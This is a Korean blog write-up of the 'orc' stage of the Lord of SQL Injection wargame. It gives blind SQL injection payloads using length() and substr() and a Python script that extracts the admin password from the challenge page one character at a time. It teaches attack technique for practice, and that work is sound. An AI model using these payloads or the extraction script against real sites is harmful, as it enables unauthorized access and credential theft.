[Lord of SQL Injection] orc 4번 풀이
[ 문제접근 ]
1. 쿼리 : id는 admin으로 고정되어 있고 pw가 존재, 이를 통해 DB를 조회한다
2. $_GET[pw] : GET방식을 통해서 pw를 입력을 받는다
3. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) : DB 조회결과의 pw와 우리가 입력한 pw가 같아야 solve("orc"); 시켜줌 => 이 문제에서 우리는 admin의 pw를 알아내야함4. 로그인에 성공시 Hello admin을 출력시켜줌
=>방법 : BlindSqlinjection을 통해 pw를 알아내야함 > pw를 한글자씩 비교하고 Hello admin 출력으로 참,거짓을 판별*
힌트 : length(문자열), substr(문자열, 시작할 지점, 자를 개수), ASCII 또는 ORD 함수
[ 문제풀이 ]
<정답> :
* 설명을 위해 정수변수 a, 문자열변수 b가 존재한다고 가정하겠습니다*
1. ?pw=' or length(pw) = 'a
length함수를 사용해서 pw의 길이를 유추한다
a를 1부터 하나씩 증가하면서 비교하다, hello admin이 나올때의 a가 문자열의 길이임
문자열의 길이가 8임을 구함
2. ?pw=' or substr(pw,1,a) = 'b
substr을 사용하여 처음부터 한글자씩 비교하는데 a를 1부터 시작 b에 모든 문자열을 대입하며 비교
문자열을 비교하다 Hello admin이 나올 경우 a+1 하고, 방금 발견한 앞에 문자뒤에 모든 문자를 다시한번
더하면서 다시 비교, 이 과정을 a가 8이 될때까지 반복하면 pw를 구할 수 있다.
손으로 직접하면 많이 힘들기에 본인은 Python을 활용해 스크립트를 작성했다
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies = {'PHPSESSID':'r0q27p00q2hkg9d3bn1pls7chs'}
pw = ""
for i in range(1,9):
for j in range(33,123):
req = f"{url}?pw=' or ascii(substr(pw,{i},1)) = '{j}"
res = requests.get(req,cookies=cookies)
print(chr(j))
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print(f"====={chr(j)}=====")
pw+=chr(j)
break
print(f"====(pw : {pw})====")
위 코드에서 substr 부분을 ascii로 감싸준 이유는
sql에서 문자를 비교할때 대소문자를 구분하지 않는다.
따라서 ascii라는 함수로 감싸서 해당문자의 아스키코드값으로 비교하면 대소를 구분할 수 있다!
"ORC Clear!" 가 나타난다! 정답!
이제 다음 스테이지로 넘어가도록 하자
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] darkelf 6번 풀이 (0) | 2021.10.12 |
---|---|
[Lord of SQL Injection] wolfman 5번 풀이 (0) | 2021.10.12 |
[Lord of SQL Injection] goblin 3번 풀이 (0) | 2021.10.10 |
[Lord of SQL Injection] cobolt 2번 풀이 (0) | 2021.10.10 |
[Lord of SQL Injection] gremlin 1번 풀이 (0) | 2021.10.10 |
댓글
이 글 공유하기
다른 글
-
[Lord of SQL Injection] darkelf 6번 풀이
[Lord of SQL Injection] darkelf 6번 풀이
2021.10.12 -
[Lord of SQL Injection] wolfman 5번 풀이
[Lord of SQL Injection] wolfman 5번 풀이
2021.10.12 -
[Lord of SQL Injection] goblin 3번 풀이
[Lord of SQL Injection] goblin 3번 풀이
2021.10.10 -
[Lord of SQL Injection] cobolt 2번 풀이
[Lord of SQL Injection] cobolt 2번 풀이
2021.10.10